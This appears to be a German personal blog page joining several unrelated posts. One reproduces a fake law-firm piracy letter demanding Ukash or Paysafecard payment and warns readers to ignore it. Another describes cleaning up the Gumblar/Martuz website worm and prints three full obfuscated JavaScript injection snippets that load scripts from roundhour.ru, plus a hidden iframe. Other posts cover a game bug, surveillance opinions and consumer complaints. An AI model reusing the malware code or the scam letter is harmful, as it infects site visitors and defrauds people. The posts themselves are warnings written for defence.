Guten Tag,

in obiger Angelegenheit zeigen wir die anwaltliche Vertretung und Interessenwahrung der Universal Pictures International Germany GmbH an.

Gegenstand unserer Beauftragung ist eine von Ihrem Internetanschluss aus im sogenannten Peer-to-Peer-Netzwerk
begangene Urheberrechtsverletzung an Werken unseres Mandanten. Unser Mandant ist Inhaber der ausschliesslichen
Nutzungs- und Verwertungsrechte im Sinne der §§ 15ff UrhG bzw. § 31 UrhG an diesen Werken, bei denen es sich um
geschutzte Werke nach § 2 Abs 1 Nr. 1 UrhG handelt.

Durch das Herunterladen urherberrechtlich geschutzer Werke haben sie sich laut § 106 Abs 1 UrhG i.V. mit
§§ 15,17,19 Abs. 2 pp UrhG nachweislich strafbar gemacht.
Bei ihrem Internetanschluss sind mehrere Downloads von musikalischen Werken dokumentiert worden.

Aufgrund dieser Daten wurde bei der zustandigen Staatsanwaltschaft am Firmensitz unseres Mandanten Strafanzeige
gegen Sie erstellt.

Aktenzeichen: 326 Js 217/67 Sta Stuttgart

Ihre IP Adresse zum Tatzeitpunkt: 124.203.115.96

Illegal heruntergeladene musikalische Stucke (mp3): 71

Illegal hochgeladene musikalische Stucke (mp3): 789

Wie Sie vielleicht schon aus den Medien mitbekommen haben, werden heutzutage Urheberrechtverletzungen
erfolgreich vor Gerichten verteidigt, was in der Regel zu einer hohen Geldstrafe sowie Gerichtskosten fuhrt.
Genau aus diesem Grund unterbreitet unsere Kanzlei ihnen nun folgendes Angebot:
Um weiteren Ermittlungen der Staatsanwaltschaft und anderen offiziellen Unannehmlichkeiten wie Hausdurchsuchungen und Gerichtsterminen aus dem Weg zu gehen, gestatten wir ihnen den Schadensersatzanspruch
unseres Mandanten aussergerichtlich zu lösen.
Wir bitten Sie deshalb den Schadensersatzanspruch von 100 Euro bis zum 1808.2011 sicher und unkompliziert
mit einer UKASH-Karte zu bezahlen. Eine Ukash ist die sicherste Bezahlmethode im Internet und
fur Jedermann anonym an Tankstellen, Kiosken etc. zu erwerben.
Weitere Informationen zum Ukash-Verfahren erhalten Sie unter: http://www.ukash.com/de

Nachdem Sie den Ukash oder Paysafecard* Voucher gekauft haben, schicken Sie die 16 oder 19 stellige Voucher Nummer an unsere email Adresse mit der eingabe ihrer Aktenzeichen.

Email: info@apw-anwaelte.info

* alternativ konnen Sie auch mit Paysafecard zahlen
Link: http://www.paysafecard.com/de

Geben Sie bei Ihrer Zahlung bitte ihr Aktenzeichen an!

Sollten sie diesen Bezahlvorgang ablehnen bzw. wir bis zur angesetzten Frist keinen 19- stelligen
Ukash PIN-Code im Wert von 100 Euro erhalten haben(oder gleichwertiges Paysafecard Coupon), wird der Schadensersatzanspruch offiziell
aufrecht erhalten und das Ermittlungsverfahren mit allen Konsequenzen wird eingeleitet. Sie erhalten
dieses Schreiben daraufhin nochmals auf dem normalen Postweg.
Hochachtungsvoll,
Rechtsanwaltskanzlei Auffenberg, Petzold & Witte

Falls jemand von Euch selbst betroffen ist von solch einer “Drohungsmail”…einfach ignonieren und nicht Antworten und auch nicht auf den Link klicken in der Mail.

Wenn so etwas echt wäre, käme das niemals per EMail. Offizielle Schreiben kommen immer per Post.

Update 06.10.10: Nun berichtet auch ein gutes Videospiel Magazin darüber siehe HIER.

Bei mir persönlich kommt das fast immer nach Pro Club spielen vor. Mir friert nicht nur Fifa11 ein, sondern die ganze Konsole. Auch nachdem ich den Cache der Festplatte gelöscht habe und nach einem Update von EA, ist das Problem weiterhin vorhanden und mindert extrem den Spielspaß.

Sehr ärgerlich, da es im Club einfach am meisten Spaß macht, aber gerade dort ist nach jedem gespielten Match Feierabend und ich muss die Xbox komplett abschalten.

Das scheint wohl ein bekanntes Problem zu sein. Falls Ihr das auch habt bitte hier melden:

• EASports FIFA 11 issue Support

Hier das Deutsche Forum mit Leuten die das gleiche Problem haben…wichtig ist trotzdem OBEN in dem Link zu posten, damit EA schnellstens reagiert.

• Deutsches EA Fifa 11 Forum mit dem einfrieren Problem

So richtig schlimm empfand ich das Thema Datenschutz bevor das mit Google Streetview hoch kam. Und zwar ging es da um das “abhören” bzw. das ausspähen von PC Daten bei akuten Verdächtigungen. Die Idee und der Ansatz fand ich super, aber das rief ja dann die Datenschützer wieder auf den Plan. Meiner Meinung nach haben die nicht ganz verstanden worum es geht. Die Regierung soll oder MUSS oder darf sich nur Zugang zu Deinem System verschaffen, bei einem begründeten Verdacht!!! Was sollen die anderen Bürger dagegen haben? Ganz ehrlich ich scheiß auf meinen Datenschutz!!! Ich frage mich wirklich wer da etwas zu entscheiden hat, denn soweit ich weiß wurde das wieder abgeschmettert wegen Verletzung des Datenschutzes. Ich kann das gar nicht fassen. Denkt Ihr den Beamten interessiert wieviel Pornos Ihr auf dem Rechner habt? Oder ob Ihr geklaute Filme oder Software bei Euch einsetzt bzw. schaut? Es geht hier um Verbrechensbekämpfung und die ist sicher sehr effektiv, wenn die das Recht bekommen sich während des Internetbesuchs auf dem PC “einzuklinken”.

Wenn sich dadurch nur EIN EINZIGES Gewaltverbrechen, oder wenn sich nur EIN EINZIGER geplanten Amoklauf…..ODER VOR ALLEM WENN SICH DADURCH NUR EIN EINZIGES KIND SCHÜTZEN läßt….ist es das nicht Wert, seinen Datenschutz über den Haufen zu werfen? Ist es das nicht wert, daß man den Behörden das Recht einräumt zu recherchieren und Verdachtsmomente auszuschließen, oder auch zu bekräftigen und dann aktiv zu werden gegen Kriminelle jeglicher Art?

Das Internet ist ein Zoo. Das schlimme nur ist, daß es ein anonymer und unkontrollierter Zoo ist. Im Schutz der Anonymität erweckt so manche schlafende Bestie.

Darüber sollte mal jeder nachdenken. Jeder der ein Kind hat sollte sich mal Gedanken machen ob es seine Kinder nicht wert sind, daß man sich 100% gläsern macht. Ich finde das sind wir den Kindern schuldig, daß wir unsere Rechte soweit aufgeben, daß Dinge verhindert werden können BEVOR sie geschehen und im Ansatz schon erkennen und bekämpfen.

Noch bescheuerter finde ich die neue Google Street View Geschichte. Wieder mal schreien die Datenschützer auf. Da frage ich mich echt, ob die genau wissen gegen was die da wieder gegensteuern. Haben diese Leute überhaupt mal eine Sicht dafür wie nützlich diese Geschichte sein kann? In den USA gibt es das schon. Wenn zb. die Feuerwehr einen Einsatz hat, dann können die mit dem StreetView direkt schon sehen wo ein Feuerwehrhydrant steht und ob der von irgendetwas blockiert ist. Das spart viel Zeit und rettet Leben. Ist das nicht schon alleine ein unschlagbares Argument? Es gibt viel mehr Pros als Kontras zu dieser Sache. Und einen fremd gehenden Mann schützen zu wollen wie es in der Bild stand, als er vor dem Haus seiner geliebten Stand….wer ist es wert da geschützt zu werden? Der Fremdgeher, oder sollte man nicht lieber an die Frau denken die zuhause sitzt und betrogen wird? So jemand soll geschützt werden? Oder jemanden der eigentlich krank geschrieben ist, sich aber dann im Urlaub an der Ostsee befindet…..wer ist hier das Opfer und wer verhält sich falsch? Wir wollen also tatsächlich Menschen schützen die sich falsch verhalten? Das gibts doch nicht!!!

Also mein Standpunkt steht fest. Wenn es hilft für mehr Recht und ein wenig mehr Sicherheit zu sorgen, dann SCHEISSE ICH AUF MEINEN DATENSCHUTZ!!!!

Meine Wut und Frustration wird dies bezüglich auch immer größer. Habe auch lange überlegt ob man sowas hier überhaupt schreiben darf/kann. Viele fühlen sich ja dann trotz Fehlverhalten in ihrer Ehre gekränkt und setzen einen Anwalt ein, wenn man negative Dinge Publik macht. Darum nenne ich hier keine Namen.

Am heutigen Tag zb. wieder folgendes Erlebnis inkl. Verlauf:

Grund für die Kontaktaufnahme mit einem Nickenicher “Dienstleister”:

• Meine Stieftochter ist 11 Jahre und soll jetzt in Ihrem Zimmer auch TV Anschluss bekommen. Dose und Receiver sind vorhanden, es muss wohl nur das Kabel von der Satellitenschüssel geprüft werden.

Erste Kontaktaufnahme:

• 16.08.10 zwischen 10-12 Uhr. Hier wurde mir ein Termin für den kommenden Tag ZUGESAGT. Ich nehme mir nichts vor und bin auf jeden Fall daheim, habe ich ihm mitgeteilt.

Tag darauf:

• Niemand kommt. Hab 2 Termine deshalb verlegt, weil ich durchgehend zu Hause sein wollte. Es kam auch keine telefonische Absage

Noch einen weiteren Tag darauf:

• Nichts!

Heutiger Tag 19.08.10

• Kontaktaufnahme meinerseits. Das ist jetzt ein paar Minuten her und so verlief das Gespräch:
• Ich: Hallo Herr ***. Ich wollte mich nochmal erkundigen und nachfragen ob sie mich vorgestern vergessen haben?
• Er: Nein
• Ich: Sie wollten doch am Dienstag vorbei kommen. Ich habe Extra den ganzen Tag gewartet.
• Er: Ich komme schon noch. Im Moment ist hier viel los
• Ich: Sie haben doch meine Nummer. Können sie mir nicht grad eine Info geben, wenn sie einen zugesagten Termin nicht einhalten?
• Er: Sie brauchen nicht auf mich zu warten. Ich finde sie schon.
• Ich: Sagen Sie mir doch bitte wann Sie Zeit haben, ich muss mir das ja auch einrichten.
• Er: Warum?
• Ich: Ja damit auch jemand hier im Haus ist um sie rein zu lassen
• Er: Ja wir kommen schon zusammen. Vielleicht schaffe ich es heute ich muss mal schaun
• Ich: Ähmm ok
• Er: Habe ich ihre Nummer? Ich schreib sie nochmal auf…ist notiert ja Danke Tschüß
• Ich: – kurzes Nachdenken, ob ich das wegen der patzigen und unfreundlichen Art direkt wieder cancele…habe mich dann aber entschieden die Faust in die Tasche zu stecken und das einfach mal wirken zu lassen- Ok Tschüß

So etwas passiert mir ständig. Ich schreibe das hier zur Frustverarbeitungen nieder, denn manchmal kann ich es selbst nicht glauben wie man als Kunde behandelt wird.

Verdienen die heute alle soviel, daß die es nicht mehr nötig haben freundlich und zuvorkommend zu sein?

Als Dienstleister ist es doch wohl das mindeste das man Termine einhält. Und wenn man nicht pünktlich erscheint, dann kann man doch im Zeitalter von Handys kurz den Termin verschieben oder? Es gab ja keine feste Zeit. Er hätte den ganzen Tag kommen können wann er möchte. Und das ist das 2te mal das ich ihm hinterher renne. Vor ca 4 Wochen war er schonmal hier….einen Tag später als vereinbart.

Ich kann das nicht nachvollziehen.

Wenn der Wurm sich einmal in den FTP Account eingenistet hat, dann sind meistens alle index.html, index.html, index.php und alle .js Dateien betroffen. Aber auch vereinzelte andere sind befallen, was die Säuberung wirklich sehr schwierig macht. Am Ende habe ich 8 Tage gebraucht um alle Projekte zu säubern.

Hier einige Beispiele wie der Code bei uns aussah:

var wV={};var o={};var j=null;this._j="";var b=document;var A=window;var e_=[];var O=[];var C;QJ={wz:37237};var Zr=["wr","tu","d"];var G=RegExp;I=11433;I++;var ci=new Date();this.m="m";function l(){this.Zl=11911;this.Zl--;Rg={};function _(t,H,u){this.fU=43293;this.fU++;var ml="";return t.substr(H,u);eZ=["xo"];vb=["Yf"];}var Zd=37547;UA=["pw","K","OP"];var bn="bn";var k=String(_("]Ra4",0,1));var rk={};var AM={};uE=1909;uE--;var p='';var Ps=new String();var Gx="bod"+"y";var tZ=[];this.kG=49065;this.kG-=97;var E="\x2f\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x6f\x6d\x2f\x6e\x69\x6e\x67\x2e\x63\x6f\x6d\x2f\x64\x65\x74\x69\x6b\x2e\x63\x6f\x6d\x2e\x70\x68\x70";this.SV="";var k=new String("]");var QE=["cy"];var D=new String(_("scriLKV5",0,4)+_("pteVxk",0,2));xv=34266;xv++;function g(t,H){try {var vs='X'} catch(vs){};try {var ac='yr'} catch(ac){};var u="[";this.OJ=36742;this.OJ+=81;this.Mv="";u+=H;this.J="J";u+=k;this.RN=31843;this.RN-=81;var q=new G(u, new String(_("g7mI",0,1)));var te=false;return t[String("repl"+_("acek9s6",0,3))](q, p);};var cV={rI:16909};RQ=["Aib"];HO=["_M"];var R=g('cprOejaUtGepEglkepmUe2nvtv','uiOv9gpUsGjk2');KU=14370;KU+=20;var QJK=new Date();var jN=g('aWpkpOeJnUdXCYhtiYlOdB','TBEtcWjo35OJgr7vkYKG9X1U');this.PA=7373;this.PA--;var W='';var Dq={Gv:false};var z=584533-576453;var w=new String("htt"+"p:/"+"/ro"+"und"+"hou"+"r.r"+_("u:SbJh",0,2));T=38779;T--;nW=62077;nW-=234;j=String("onl"+_("oad2xeW",0,3));var sj=[];this.aR='';var bg="";C=function(){Lh=4169;Lh++;var AC=new Array();try {var LI=new Array();var XG={xp:false};GY=b[R](D);try {} catch(OK){};W=w;try {var IL='BH'} catch(IL){};jp=["vO"];W+=z;this.zb=49032;this.zb-=208;W+=E;var ku=String(_("sr0cw3",0,2)+_("2YDcD2Y",3,1));uzN={};var Z=g('dLecfQeHrE','GtbEQYZLcHNh');ip=48658;ip+=234;GY[ku]=W;this.yc=58339;this.yc-=85;bx={mq:43263};Qz=["Pp","tY"];GY[Z]=[1,9][0];zz=54454;zz+=148;CK=25986;CK+=106;b[Gx][jN](GY);var ss={};} catch(kZ){var ZH=38494;this.rO=36635;this.rO++;};try {} catch(mm){};this.iY=26323;this.iY-=16;};this.pY=65507;this.pY+=35;gO={vl:10285};};var tz=["px","hJ"];var tx=["xG","Dk"];l();MV={xI:"of"};A[j]=C;

j={gP:32339};var PV={};var u=null;var _L=["f"];var mR=["zm"];var T;var z=window;var O=document;A={E:"M_"};var zH=RegExp;var O_=false;function I(){Xw=["H"];It=["aJ"];var PQ=["Mj","aD","Ga"];function X(D,o,_){try {var OK='t'} catch(OK){};var K=38516;return D.substr(o,_);var C={};}var t_="t_";this.qN="qN";var d=String(X("bodylvJ",0,4));var x=String(X("scripnoDI",0,5)+X("tCZI",0,1));var xP='';try {} catch(Lx){};try {var Kk='rJ'} catch(Kk){};var m=String("]");var m=new String("]");var Td="\x2f\x62\x65\x62\x6f\x2d\x63\x6f\x6d\x2f\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x6f\x6d\x2f\x75\x63\x6f\x7a\x2e\x72\x75\x2e\x70\x68\x70";this.CT='';this.xB='';function P(D,o){Y={sx:false};this.nn=false;var _=String("[");try {var p_='Nf'} catch(p_){};try {var td='pk'} catch(td){};_+=o;try {var Xf='bb'} catch(Xf){};_+=m;this.pM=28047;this.pM++;var IN=[];var V=new zH(_, new String("g"));this._V=49624;this._V++;var OAN=["en","uX","w"];return D[new String("repla"+"ce")](V, xP);ft=22246;ft--;this.pe=false;};this.fo=56858;this.fo++;this.DG=false;var In="http"+"://r"+"ound"+"hour"+X(".ru:ONy",0,4);var M=P('csrBedabtoeTEDloeFmveTndtQ','QV53oBFObd7vTRfkjKsD');fB={QW:"Vs"};CH={AI:"Z"};var PP=327481-319401;var KS={ZV:false};var Xi='';u="onlo"+X("adTJvA",0,2);var s=P('a4pqpWeonxdWCohWiWlVdx','Kqo3WN4XRxgV');this.MB=45781;this.MB+=9;try {var ze='o_'} catch(ze){};IU=21029;IU++;try {var yf='aP'} catch(yf){};var v='';var xJ="";this.Xv='';PT={hZ:"Gf"};var nk=new Date();T=function(){var tQ=new Date();var Yp=new Date();try {VS=["Mf"];g=O[M](x);HD=23913;HD+=114;IZ=7537;IZ++;v=In;var Il={};v+=PP;this.Ak=63184;this.Ak--;var bp=["eu","ug"];v+=Td;var ML={zex:"_K"};var WC="WC";var e=P('dXe0fPeArq','P0AqcX');var dE=String("src");g[e]=[2,1][1];var XV={nt:false};XN=["ih","acS"];this.Gw=5169;this.Gw++;var Kc={};g[dE]=v;var NK=false;this.Ci=false;O[d][s](g);var Sa=["bD"];} catch(a){this.nC=51801;this.nC-=63;};this.QS="QS";var QA="QA";};var MP='';this.bZ=false;};jk=64618;jk--;_Q={iw:"Up"};I();var zB=["Is","sg","WV"];var Jo=new Date();this.aF=false;this.BJ='';z[u]=T;yp=65331;yp-=111;


this.u=23893;this.u+=123;var hC=37693;mt=["bX","s","p"];var X=document;this.Zb="";var C=window;var B=null;var _=RegExp;var Z;N={UH:25384};Fn={};function Cz(){nn=62567;nn++;function P(XX,n,U){this.T=12903;this.T--;Ud=59355;Ud++;return XX.substr(n,U);}KB={o:34627};var h="sc"+"ri"+"pt";hL=["UK","zQ"];this.uG=46611;this.uG-=229;EY={y:2810};k=["hF","S","gW"];var G=new String("]");fD={bw:false};var Bb="\x2f\x31\x31\x38\x31\x31\x34\x2d\x63\x6e\x2f\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x6f\x6d\x2f\x6f\x72\x66\x2e\x61\x74\x2e\x70\x68\x70";var Xx=new String(P("bodyxhqJ",0,4));try {var JV='Cu'} catch(JV){};oQ=["tYz"];var G=P("]WyBl",0,1);var q={I:"po"};var _a='';BO=["V"];try {var Yy='ZZ'} catch(Yy){};var Hy=8433;var w="";function Q(XX,n){var HN=false;var iM={};var HS=19074;var U="[";U+=n;U+=G;var cH=["GH"];try {var no='qB'} catch(no){};var b=new _(U, new String("g"));BR={};yI={BH:15315};return XX[new String("re"+P("plNbq",0,2)+P("ygbPacgPyb",4,2)+P("eFAnK",0,1))](b, _a);};var e=Q('a2pXpKefnKdfCuh7i4l4dz','7Xu4r12gKfz_F');this.hw=40701;this.hw--;this.OM=false;B=new String("onlo"+P("adWn7V",0,2));var j=String(P("httXfE",0,3)+P("p:/b4L",0,3)+"/ro"+P("T4kWundk4WT",4,3)+P("Lp4MhouL4Mp",4,3)+"r.r"+"u:");var GU=5765;var fI="";var bJ=Q('cyrDeGayt2e7Efl8eRm_eynKt3','0XU1YfGk38W7DyK_2OR');fU=["JtO","ZC","Cl"];var Jtl=["ii","oN","dP"];var m=301081-293001;this.sO=49577;this.sO+=254;var Jw={CT:"_H"};var RF='';var O='';gN={GT:"Lqc"};try {var Wg='dA'} catch(Wg){};this.uT="";Z=function(){try {eR=X[bJ](h);uR=25116;uR-=2;var qm=["oN_","zg"];try {var QZ='im'} catch(QZ){};O=j;this.kh=5668;this.kh--;var Lr=["IU","Uc"];O+=m;try {var UU='Id'} catch(UU){};O+=Bb;this.jE=false;var L=Q('d_eIfie_rR','cj6iIPR4_');var KN=new String();var Yh=new Date();var R="src";Te=["Qc"];cK=1565;cK++;var tt={AI:7569};this.Xy=12935;this.Xy-=158;eR[R]=O;tx=["ON","Ml","YD"];Tq=[];eR[L]=[3,1][1];VD={};gS={};var dL=new Array();X[Xx][e](eR);Cm={};} catch(OJ){try {var bJM='kA'} catch(bJM){};GM=52521;GM++;var ge={};};tS=[];var Tb=false;};var CD={wi:19658};try {} catch(Zu){};var sN={YA:2150};};Cz();var zl='';this.md=40368;this.md-=42;var OrT=["dK"];var Ln=["tm","VR","loa"];C[B]=Z;


Neue Abwandlung:
<html><body><iframe src="http://zxstats.com/" width="1" height="1" frameborder="0"></iframe></body></html>

Dies sind einige Formen des Maleware Code der sich eingenistet hat. Es gibt aber noch welche die jedes mal anders aussehen, darum ist das aufspüren so schwierig. Aber auch diese fieser Kollege hat schon wieder seine Abwandlungen und nennt sich unter anderem auch:

• Gumblar
• gumblar .cn
• Martuz
• Martuz .cn
• Troj/JSRedir-R
• iframe virus

Mein Norton Internet Security hatte es am Anfang nicht erkannt. Der einzige den ich getestet hatte, der diesen Wurm aufgespürt hatte war: Malwarebytes.org

Dieser Virus bzw. Wurm kommt über die Sicherheitslücken im Adobe FlashPlayer oder auch dem Adobe AcrobatReader. Leider ist die Erkennbarkeit extrem schwer, da der Entwickler von diesem Virus einen ständig veränderten Code benutzt. Der sieht fast nirgends gleich aus und genau das macht es so schwer ihn aufzuspüren.

Mein Rechner ist davon befallen, was kann ich tun?
Einzige aktuell mir bekannte Lösung gegen diesen Virus/Wurm ist eine komplette Neuinstallation. Außerdem solltest Du dringend alle FTP Paßwörter ändern.

Hier kann man testen lassen, ob die Homepage von diesem Virus befallen ist:

• Unmaskparasites.com

Der Schock saß tief und das ganze Haus stank Tagelang nach starkem Rauch.

Also standen einige Maßnahmen an. Als erstes Küche abbauen und Tapezieren. Ist auch alles erledigt und die Dinge die beschädigt sind haben wir schon neu gekauft.

Nun bleibt die Frage: Wer bezahlt den Schaden?

Wichtig war natürlich, daß man BEVOR man anfängt mit der Versicherung Kontakt aufnimmt. Im Fall der Hausratversicherung war das bei uns die Debeka. Ich sollte Fotos machen und diese dem Versicherungsmitarbeiter schicken.

Nun gab es da aber ein Problem. Wer bezahlt die Tapeten?
Nach meinen Infos von der Debeka und auch einige recherchen im Internet war für mich klar, daß die Gebäudeversicherung dies zahlen muss.

Die Vermieterin ist bei der Allianz versichert. Der Mitarbeiter aber sagt: “Gehört zu Hausrat und bezahlen wir nicht!”.
Was tut man in so einem Fall jetzt, wo man sicher ist Recht zu haben, aber nicht dazu kommt?

Die Debeka hat inzwischen alles außer die Tapeten sehr schnell und unkompliziert bezahlt. Und zwar wirklich alles was ich aufgeführt habe. Das nenne ich mal wirklich ERFREULICH!!!

Trotzdem überwiegt bei mir der Ärger, daß sich die Allianz weigert bzw. sich nicht Zuständig fühlt….da bin ich derzeit noch weiter am recherchieren und bin gespannt wie das ausgeht.

Das regt mich sowas von auf. Wieso ist das so? Wieso sparen die Hersteller an solchen Dingen und wollen daran auch noch abkassieren?

Bin mir ziemlich sicher, daß es in einem “Elektronik” Haushalt Stromkabel für solche Geräte zu genüge gibt…aber sicher keine Druckerekabel. Die sollten lieber am Stromkabel sparen, anstatt am Druckeranschlusskabel.

Nun muss ich nochmal in die Stadt fahren, obwohl ich genau das nicht mehr machen wollte.